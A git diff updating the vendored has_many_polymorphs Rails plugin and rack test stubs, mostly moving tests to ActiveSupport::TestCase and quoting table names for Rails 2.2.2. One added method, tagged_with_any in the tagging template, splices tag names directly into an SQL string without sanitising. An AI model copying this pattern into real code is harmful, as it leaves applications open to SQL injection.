diff --git a/vendor/gems/rack-1.0.1/test/unregistered_handler/rack/handler/unregistered.rb b/vendor/gems/rack-1.0.1/test/unregistered_handler/rack/handler/unregistered.rb
new file mode 100644
index 00000000..6dd9436d
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/unregistered_handler/rack/handler/unregistered.rb
@@ -0,0 +1,7 @@
+module Rack
+  module Handler
+    # this class doesn't do anything, we're just seeing if we get it.
+    class Unregistered
+    end
+  end
+end
\ No newline at end of file
diff --git a/vendor/gems/rack-1.0.1/test/unregistered_handler/rack/handler/unregistered_long_one.rb b/vendor/gems/rack-1.0.1/test/unregistered_handler/rack/handler/unregistered_long_one.rb
new file mode 100644
index 00000000..1920685f
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/unregistered_handler/rack/handler/unregistered_long_one.rb
@@ -0,0 +1,7 @@
+module Rack
+  module Handler
+    # this class doesn't do anything, we're just seeing if we get it.
+    class UnregisteredLongOne
+    end
+  end
+end
\ No newline at end of file
diff --git a/vendor/plugins/has_many_polymorphs/CHANGELOG b/vendor/plugins/has_many_polymorphs/CHANGELOG
index 0bc59aa3..1ab5e446 100644
--- a/vendor/plugins/has_many_polymorphs/CHANGELOG
+++ b/vendor/plugins/has_many_polymorphs/CHANGELOG
@@ -1,3 +1,6 @@
+v2.2. Various fixes.
+
+v2.13. Merge various fixes for Rails 2.2.2.
 
 v2.12. Improvements to the test suite; bugfixes for STI children (rsl). Remove fancy dependency system in favor of using Dispatcher::to_prepare every time.
 
diff --git a/vendor/plugins/has_many_polymorphs/Manifest b/vendor/plugins/has_many_polymorphs/Manifest
index b96dc99f..c0555eff 100644
--- a/vendor/plugins/has_many_polymorphs/Manifest
+++ b/vendor/plugins/has_many_polymorphs/Manifest
@@ -22,6 +22,7 @@ lib/has_many_polymorphs/support_methods.rb
 lib/has_many_polymorphs.rb
 LICENSE
 Manifest
+Rakefile
 README
 test/fixtures/bow_wows.yml
 test/fixtures/cats.yml
@@ -92,10 +93,8 @@ test/integration/app/db/migrate/006_create_double_sti_parents.rb
 test/integration/app/db/migrate/007_create_single_sti_parent_relationships.rb
 test/integration/app/db/migrate/008_create_double_sti_parent_relationships.rb
 test/integration/app/db/migrate/009_create_library_model.rb
-test/integration/app/db/schema.rb
 test/integration/app/doc/README_FOR_APP
 test/integration/app/generators/commenting_generator_test.rb
-test/integration/app/hmp_development
 test/integration/app/lib/library_model.rb
 test/integration/app/public/404.html
 test/integration/app/public/500.html
diff --git a/vendor/plugins/has_many_polymorphs/README b/vendor/plugins/has_many_polymorphs/README
index f6123ff4..2f3f73f9 100644
--- a/vendor/plugins/has_many_polymorphs/README
+++ b/vendor/plugins/has_many_polymorphs/README
@@ -29,7 +29,7 @@ The plugin also includes a generator for a tagging system, a common use case (se
 
 == Requirements
 
-* Rails 1.2.3 or greater
+* Rails 2.2.2 or greater
 
 = Usage
 
diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag_test.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag_test.rb
index f4ab543a..87c383f1 100644
--- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag_test.rb
+++ b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag_test.rb
@@ -1,6 +1,6 @@
 require File.dirname(__FILE__) + '/../test_helper'
 
-class TagTest < Test::Unit::TestCase
+class TagTest < ActiveSupport::TestCase
   fixtures <%= taggable_models[0..1].join(", ") -%>
   
   def setup
diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_extensions.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_extensions.rb
index 9795abd5..354730b1 100644
--- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_extensions.rb
+++ b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_extensions.rb
@@ -1,4 +1,3 @@
-
 class ActiveRecord::Base #:nodoc:
 
   # These extensions make models taggable. This file is automatically generated and required by your app if you run the tagging generator included with has_many_polymorphs.
@@ -13,7 +12,7 @@ class ActiveRecord::Base #:nodoc:
         begin
           tag = Tag.find_or_create_by_name(tag_name)
           raise Tag::Error, "tag could not be saved: #{tag_name}" if tag.new_record?
-          tag.taggables << self
+          tags << tag
         rescue ActiveRecord::StatementInvalid => e
           raise unless e.to_s =~ /duplicate/i
         end
@@ -24,15 +23,17 @@ class ActiveRecord::Base #:nodoc:
     def _remove_tags outgoing
       taggable?(true)
       outgoing = tag_cast_to_string(outgoing)
+      return [] if outgoing.empty?
   <% if options[:self_referential] %>  
       # because of http://dev.rubyonrails.org/ticket/6466
       taggings.destroy(*(taggings.find(:all, :include => :<%= parent_association_name -%>).select do |tagging| 
         outgoing.include? tagging.<%= parent_association_name -%>.name
       end))
-  <% else -%>   
-      <%= parent_association_name -%>s.delete(*(<%= parent_association_name -%>s.select do |tag|
-        outgoing.include? tag.name    
-      end))
+  <% else -%>
+      outgoing_tags = <%= parent_association_name -%>s.find_all_by_name(outgoing)
+      outgoing_taggings = taggings.find_all_by_<%= parent_association_name -%>_id(outgoing_tags.map(&:id))
+
+      taggings.destroy(*outgoing_taggings)
   <% end -%>
     end
 
@@ -66,7 +67,11 @@ class ActiveRecord::Base #:nodoc:
       <%= parent_association_name -%>s.to_s
       #:startdoc:
     end
-    
+
+    def tag_list=(value)
+        tag_with(value)
+    end    
+
     private 
     
     def tag_cast_to_string obj #:nodoc:
@@ -144,6 +149,47 @@ class ActiveRecord::Base #:nodoc:
       
       find_by_sql(sql)
     end
+   
+   def self.tagged_with_any(*tag_list)
+     options = tag_list.last.is_a?(Hash) ? tag_list.pop : {}
+     tag_list = parse_tags(tag_list)
+   
+     scope = scope(:find)
+     options[:select] ||= "#{table_name}.*"
+     options[:from] ||= "#{table_name}, tags, taggings"
+   
+     sql  = "SELECT #{(scope && scope[:select]) || options[:select]} "
+     sql << "FROM #{(scope && scope[:from]) || options[:from]} "
+
+     add_joins!(sql, options, scope)
+   
+     sql << "WHERE #{table_name}.#{primary_key} = taggings.taggable_id "
+     sql << "AND taggings.taggable_type = '#{ActiveRecord::Base.send(:class_name_of_active_record_descendant, self).to_s}' "
+     sql << "AND taggings.tag_id = tags.id "
+     
+     sql << "AND ("
+     or_options = []
+     tag_list.each do |name|
+       or_options << "tags.name = '#{name}'"
+     end
+     or_options_joined = or_options.join(" OR ")
+     sql << "#{or_options_joined}) "
+     
+     
+     sql << "AND #{sanitize_sql(options[:conditions])} " if options[:conditions]
+      
+     columns = column_names.map do |column| 
+       "#{table_name}.#{column}"
+     end.join(", ")
+      
+     sql << "GROUP BY #{columns} "
+   
+     add_order!(sql, options[:order], scope)
+     add_limit!(sql, options, scope)
+     add_lock!(sql, options, scope)
+   
+     find_by_sql(sql)
+   end
     
     def parse_tags(tags)
       return [] if tags.blank?
diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_test.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_test.rb
index f055d381..b556e9d8 100644
--- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_test.rb
+++ b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_test.rb
@@ -1,6 +1,6 @@
 require File.dirname(__FILE__) + '/../test_helper'
 
-class TaggingTest < Test::Unit::TestCase
+class TaggingTest < ActiveSupport::TestCase
   fixtures :tags, :taggings, <%= taggable_models[0..1].join(", ") -%>
 
   def setup
@@ -45,15 +45,15 @@ class TaggingTest < Test::Unit::TestCase
 <% if options[:self_referential] -%>  
   def test_self_referential_tag_with
     @tag1.tag_with [1, 2]
-    assert @tag1.tags.include?(@tag1)
-    assert !@tag2.tags.include?(@tag1)
+    assert @tag1.tags.any? {|obj| obj == @tag1}
+    assert !@tag2.tags.any? {|obj| obj == @tag1}
   end
 
 <% end -%>
   def test__add_tags
     @obj1._add_tags "porter longneck"
-    assert Tag.find_by_name("porter").taggables.include?(@obj1)
-    assert Tag.find_by_name("longneck").taggables.include?(@obj1)
+    assert Tag.find_by_name("porter").taggables.any? {|obj| obj == @obj1}
+    assert Tag.find_by_name("longneck").taggables.any? {|obj| obj == @obj1}
     assert_equal "longneck pale porter", @obj1.tag_list    
     
     @obj1._add_tags [2]
diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs.rb
index 82c79668..03c600cc 100644
--- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs.rb
+++ b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs.rb
@@ -14,7 +14,7 @@ class ActiveRecord::Base
   extend ActiveRecord::Associations::PolymorphicClassMethods 
 end
 
-if ENV['HMP_DEBUG'] or ENV['RAILS_ENV'] =~ /development|test/ and ENV['USER'] == 'eweaver'
+if ENV['HMP_DEBUG'] || ENV['RAILS_ENV'] =~ /development|test/ && ENV['USER'] == 'eweaver'
   require 'has_many_polymorphs/debugging_tools' 
 end
 
diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/association.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/association.rb
index a2b2d81a..0d2139e3 100644
--- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/association.rb
+++ b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/association.rb
@@ -88,18 +88,19 @@ module ActiveRecord #:nodoc:
       def construct_quoted_owner_attributes(*args) #:nodoc:
         # no access to returning() here? why not?
         type_key = @reflection.options[:foreign_type_key]
-        {@reflection.primary_key_name => @owner.id,
-          type_key=> (@owner.class.base_class.name if type_key)}
+        h = {@reflection.primary_key_name => @owner.id}
+        h[type_key] = @owner.class.base_class.name if type_key
+        h
       end
 
       def construct_from #:nodoc:
         # build the FROM part of the query, in this case, the polymorphic join table
-        @reflection.klass.table_name
+        @reflection.klass.quoted_table_name
       end
 
       def construct_owner #:nodoc:
         # the table name for the owner object's class
-        @owner.class.table_name
+        @owner.class.quoted_table_name
       end
       
       def construct_owner_key #:nodoc:
@@ -114,10 +115,10 @@ module ActiveRecord #:nodoc:
 
       def construct_joins(custom_joins = nil) #:nodoc:
         # build the string of default joins
-        "JOIN #{construct_owner} polymorphic_parent ON #{construct_from}.#{@reflection.options[:foreign_key]} = polymorphic_parent.#{construct_owner_key} " + 
+        "JOIN #{construct_owner} AS polymorphic_parent ON #{construct_from}.#{@reflection.options[:foreign_key]} = polymorphic_parent.#{construct_owner_key} " + 
         @reflection.options[:from].map do |plural|
           klass = plural._as_class
-          "LEFT JOIN #{klass.table_name} ON #{construct_from}.#{@reflection.options[:polymorphic_key]} = #{klass.table_name}.#{klass.primary_key} AND #{construct_from}.#{@reflection.options[:polymorphic_type_key]} = #{@reflection.klass.quote_value(klass.base_class.name)}"
+          "LEFT JOIN #{klass.quoted_table_name} ON #{construct_from}.#{@reflection.options[:polymorphic_key]} = #{klass.quoted_table_name}.#{klass.primary_key} AND #{construct_from}.#{@reflection.options[:polymorphic_type_key]} = #{@reflection.klass.quote_value(klass.base_class.name)}"
         end.uniq.join(" ") + " #{custom_joins}"
       end
 
diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/autoload.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/autoload.rb
index 482cf3fc..5c7e3a8b 100644
--- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/autoload.rb
+++ b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/autoload.rb
@@ -1,6 +1,5 @@
-
 require 'initializer' unless defined? ::Rails::Initializer 
-require 'dispatcher' unless defined? ::ActionController::Dispatcher
+require 'action_controller/dispatcher' unless defined? ::ActionController::Dispatcher
 
 module HasManyPolymorphs
 
@@ -17,9 +16,11 @@ Note that you can override DEFAULT_OPTIONS via Rails::Configuration#has_many_pol
   end
   
 =end
-
+  
+  MODELS_ROOT = "#{RAILS_ROOT}/app/models/"
+  
   DEFAULT_OPTIONS = {
-    :file_pattern => "#{RAILS_ROOT}/app/models/**/*.rb",
+    :file_pattern => "#{MODELS_ROOT}**/*.rb",
     :file_exclusions => ['svn', 'CVS', 'bzr'],
     :methods => ['has_many_polymorphs', 'acts_as_double_polymorphic_join'],
     :requirements => []}
@@ -27,6 +28,7 @@ Note that you can override DEFAULT_OPTIONS via Rails::Configuration#has_many_pol
   mattr_accessor :options
   @@options = HashWithIndifferentAccess.new(DEFAULT_OPTIONS)      
 
+  
   # Dispatcher callback to load polymorphic relationships from the top down.
   def self.autoload
 
@@ -37,12 +39,14 @@ Note that you can override DEFAULT_OPTIONS via Rails::Configuration#has_many_pol
       require requirement
     end
   
-    Dir[options[:file_pattern]].each do |filename|
+    Dir.glob(options[:file_pattern]).each do |filename|
       next if filename =~ /#{options[:file_exclusions].join("|")}/
-      open filename do |file|
+      open(filename) do |file|
         if file.grep(/#{options[:methods].join("|")}/).any?
           begin
-            model = File.basename(filename)[0..-4].camelize
+            modelname = filename[0..-4]
+            modelname.slice!(MODELS_ROOT)
+            model = modelname.camelize
             _logger_warn "preloading parent model #{model}"
             model.constantize
           rescue Object => e
@@ -64,7 +68,7 @@ class Rails::Initializer #:nodoc:
   alias_method_chain :after_initialize, :autoload 
 end
 
-Dispatcher.to_prepare(:has_many_polymorphs_autoload) do
+ActionController::Dispatcher.to_prepare(:has_many_polymorphs_autoload) do
   # Make sure it gets loaded in the app
   HasManyPolymorphs.autoload
 end
diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/class_methods.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/class_methods.rb
index 394985cf..e1a9b302 100644
--- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/class_methods.rb
+++ b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/class_methods.rb
@@ -398,7 +398,7 @@ Be aware, however, that <tt>NULL != 'Spot'</tt> returns <tt>false</tt> due to SQ
           }
           
         if reflection.options[:foreign_type_key]         
-          type_check = "#{reflection.options[:foreign_type_key]} = #{quote_value(self.base_class.name)}"
+          type_check = "#{reflection.options[:join_class_name].constantize.quoted_table_name}.#{reflection.options[:foreign_type_key]} = #{quote_value(self.base_class.name)}"
           conjunction = options[:conditions] ? " AND " : nil
           options[:conditions] = "#{options[:conditions]}#{conjunction}#{type_check}"
           options[:as] = reflection.options[:as]
diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/support_methods.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/support_methods.rb
index 89ca52a4..bc1e2a5b 100644
--- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/support_methods.rb
+++ b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/support_methods.rb
@@ -45,9 +45,13 @@ class Hash
 
   # An implementation of select that returns a Hash.
   def _select
-    Hash[*self.select do |key, value|
-      yield key, value
-    end._flatten_once]
+    if RUBY_VERSION >= "1.9"
+      Hash[*self.select {|k, v| yield k, v }.flatten]
+    else
+      Hash[*self.select do |key, value|
+        yield key, value
+      end._flatten_once]
+    end
   end
 end
 
diff --git a/vendor/plugins/has_many_polymorphs/test/generator/tagging_generator_test.rb b/vendor/plugins/has_many_polymorphs/test/generator/tagging_generator_test.rb
index 34e20c4f..629da968 100644
--- a/vendor/plugins/has_many_polymorphs/test/generator/tagging_generator_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/generator/tagging_generator_test.rb
@@ -1,7 +1,7 @@
 require 'fileutils'
 require File.dirname(__FILE__) + '/../test_helper'
 
-class TaggingGeneratorTest < Test::Unit::TestCase
+class TaggingGeneratorTest < ActiveSupport::TestCase
   
   def setup
     Dir.chdir RAILS_ROOT do
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/application_controller.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/application_controller.rb
new file mode 100644
index 00000000..057f4f7e
--- /dev/null
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/app/controllers/application_controller.rb
@@ -0,0 +1,7 @@
+# Filters added to this controller apply to all controllers in the application.
+# Likewise, all the methods added will be available for all controllers.
+
+class ApplicationController < ActionController::Base
+  # Pick a unique cookie name to distinguish our session data from others'
+  session :session_key => '_testapp_session_id'
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/development.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/development.rb
index da561362..54ae4ed2 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/development.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/config/environments/development.rb
@@ -3,6 +3,7 @@ config.cache_classes = ENV['PRODUCTION']
 config.whiny_nils = true
 config.action_controller.consider_all_requests_local = !ENV['PRODUCTION']
 config.action_controller.perform_caching = ENV['PRODUCTION']
-config.action_view.cache_template_extensions = ENV['PRODUCTION']
+# The following has been deprecated in Rails 2.1 and removed in 2.2
+config.action_view.cache_template_extensions = ENV['PRODUCTION'] if Rails::VERSION::MAJOR < 2 or Rails::VERSION::MAJOR == 2 && Rails::VERSION::MINOR < 1
 config.action_view.debug_rjs = !ENV['PRODUCTION']
 config.action_mailer.raise_delivery_errors = false
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/generators/commenting_generator_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/generators/commenting_generator_test.rb
index 96c6a799..0fbdf9a1 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/generators/commenting_generator_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/generators/commenting_generator_test.rb
@@ -1,7 +1,7 @@
 require File.dirname(__FILE__) + '/../test_helper'
 require 'fileutils'
 
-class CommentingGeneratorTest < Test::Unit::TestCase
+class CommentingGeneratorTest < ActiveSupport::TestCase
 
   def test_ensure_comments_dont_exist
     # make sure the comments are already defined
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.cgi b/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.cgi
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.fcgi b/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.fcgi
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/public/dispatch.rb
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/about b/vendor/plugins/has_many_polymorphs/test/integration/app/script/about
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/breakpointer b/vendor/plugins/has_many_polymorphs/test/integration/app/script/breakpointer
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/console b/vendor/plugins/has_many_polymorphs/test/integration/app/script/console
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/destroy b/vendor/plugins/has_many_polymorphs/test/integration/app/script/destroy
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/generate b/vendor/plugins/has_many_polymorphs/test/integration/app/script/generate
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/performance/benchmarker b/vendor/plugins/has_many_polymorphs/test/integration/app/script/performance/benchmarker
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/performance/profiler b/vendor/plugins/has_many_polymorphs/test/integration/app/script/performance/profiler
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/plugin b/vendor/plugins/has_many_polymorphs/test/integration/app/script/plugin
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/inspector b/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/inspector
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/reaper b/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/reaper
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/spawner b/vendor/plugins/has_many_polymorphs/test/integration/app/script/process/spawner
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/runner b/vendor/plugins/has_many_polymorphs/test/integration/app/script/runner
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/script/server b/vendor/plugins/has_many_polymorphs/test/integration/app/script/server
old mode 100644
new mode 100755
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/addresses_controller_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/addresses_controller_test.rb
index 65284b5b..bf6d828a 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/addresses_controller_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/addresses_controller_test.rb
@@ -4,7 +4,7 @@ require 'addresses_controller'
 # Re-raise errors caught by the controller.
 class AddressesController; def rescue_action(e) raise e end; end
 
-class AddressesControllerTest < Test::Unit::TestCase
+class AddressesControllerTest < ActiveSupport::TestCase
   fixtures :addresses
 
   def setup
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/sellers_controller_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/sellers_controller_test.rb
index fb992e5d..9fd6a948 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/sellers_controller_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/sellers_controller_test.rb
@@ -4,7 +4,7 @@ require 'sellers_controller'
 # Re-raise errors caught by the controller.
 class SellersController; def rescue_action(e) raise e end; end
 
-class SellersControllerTest < Test::Unit::TestCase
+class SellersControllerTest < ActiveSupport::TestCase
   fixtures :sellers
 
   def setup
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/states_controller_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/states_controller_test.rb
index 2e93453b..c1d3b72d 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/states_controller_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/states_controller_test.rb
@@ -4,7 +4,7 @@ require 'states_controller'
 # Re-raise errors caught by the controller.
 class StatesController; def rescue_action(e) raise e end; end
 
-class StatesControllerTest < Test::Unit::TestCase
+class StatesControllerTest < ActiveSupport::TestCase
   fixtures :states
 
   def setup
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/users_controller_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/users_controller_test.rb
index bc36751f..5ca62379 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/users_controller_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/functional/users_controller_test.rb
@@ -4,7 +4,7 @@ require 'users_controller'
 # Re-raise errors caught by the controller.
 class UsersController; def rescue_action(e) raise e end; end
 
-class UsersControllerTest < Test::Unit::TestCase
+class UsersControllerTest < ActiveSupport::TestCase
   fixtures :users
 
   def setup
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/test_helper.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/test_helper.rb
index 773c49de..0ab46bb2 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/test_helper.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/test_helper.rb
@@ -2,7 +2,7 @@ ENV["RAILS_ENV"] = "development"
 require File.expand_path(File.dirname(__FILE__) + "/../config/environment")
 require 'test_help'
 
-class Test::Unit::TestCase
+class ActiveSupport::TestCase
   self.use_transactional_fixtures = true
   self.use_instantiated_fixtures  = false
 end
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/bone_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/bone_test.rb
index 8afcb87b..26d1371f 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/bone_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/bone_test.rb
@@ -1,6 +1,6 @@
 require File.dirname(__FILE__) + '/../test_helper'
 
-class BoneTest < Test::Unit::TestCase
+class BoneTest < ActiveSupport::TestCase
   # Replace this with your real tests.
   def test_truth
     assert true
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_relationship_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_relationship_test.rb
index dc20e74d..50f8d3a8 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_relationship_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_relationship_test.rb
@@ -1,6 +1,6 @@
 require File.dirname(__FILE__) + '/../test_helper'
 
-class DoubleStiParentRelationshipTest < Test::Unit::TestCase
+class DoubleStiParentRelationshipTest < ActiveSupport::TestCase
   # Replace this with your real tests.
   def test_truth
     assert true
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_test.rb
index 154383a2..9c0dbe72 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/double_sti_parent_test.rb
@@ -1,6 +1,6 @@
 require File.dirname(__FILE__) + '/../test_helper'
 
-class DoubleStiParentTest < Test::Unit::TestCase
+class DoubleStiParentTest < ActiveSupport::TestCase
   # Replace this with your real tests.
   def test_truth
     assert true
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/organic_substance_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/organic_substance_test.rb
index af328b95..20d0d963 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/organic_substance_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/organic_substance_test.rb
@@ -1,6 +1,6 @@
 require File.dirname(__FILE__) + '/../test_helper'
 
-class OrganicSubstanceTest < Test::Unit::TestCase
+class OrganicSubstanceTest < ActiveSupport::TestCase
   # Replace this with your real tests.
   def test_truth
     assert true
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_relationship_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_relationship_test.rb
index d5563fd8..184209d7 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_relationship_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_relationship_test.rb
@@ -1,6 +1,6 @@
 require File.dirname(__FILE__) + '/../test_helper'
 
-class SingleStiParentRelationshipTest < Test::Unit::TestCase
+class SingleStiParentRelationshipTest < ActiveSupport::TestCase
   # Replace this with your real tests.
   def test_truth
     assert true
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_test.rb
index 70a00ecb..43d38070 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/single_sti_parent_test.rb
@@ -1,6 +1,6 @@
 require File.dirname(__FILE__) + '/../test_helper'
 
-class SingleStiParentTest < Test::Unit::TestCase
+class SingleStiParentTest < ActiveSupport::TestCase
   # Replace this with your real tests.
   def test_truth
     assert true
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stick_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stick_test.rb
index 6729e0d6..f21868a7 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stick_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stick_test.rb
@@ -1,6 +1,6 @@
 require File.dirname(__FILE__) + '/../test_helper'
 
-class StickTest < Test::Unit::TestCase
+class StickTest < ActiveSupport::TestCase
   # Replace this with your real tests.
   def test_truth
     assert true
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stone_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stone_test.rb
index 76b518d7..b6705739 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stone_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/app/test/unit/stone_test.rb
@@ -1,6 +1,6 @@
 require File.dirname(__FILE__) + '/../test_helper'
 
-class StoneTest < Test::Unit::TestCase
+class StoneTest < ActiveSupport::TestCase
   # Replace this with your real tests.
   def test_truth
     assert true
diff --git a/vendor/plugins/has_many_polymorphs/test/integration/server_test.rb b/vendor/plugins/has_many_polymorphs/test/integration/server_test.rb
index e53ea1aa..724dd8ab 100644
--- a/vendor/plugins/has_many_polymorphs/test/integration/server_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/integration/server_test.rb
@@ -4,7 +4,7 @@ require 'open-uri'
 
 # Start the server
 
-class ServerTest < Test::Unit::TestCase
+class ServerTest < ActiveSupport::TestCase
 
   PORT = 43040
   URL = "http://localhost:#{PORT}/"
@@ -40,4 +40,4 @@ class ServerTest < Test::Unit::TestCase
     # XXX Probably can use script/runner to test this
   end
   
-end
\ No newline at end of file
+end
diff --git a/vendor/plugins/has_many_polymorphs/test/models/eaters_foodstuff.rb b/vendor/plugins/has_many_polymorphs/test/models/eaters_foodstuff.rb
index d904bb16..99d0eac7 100644
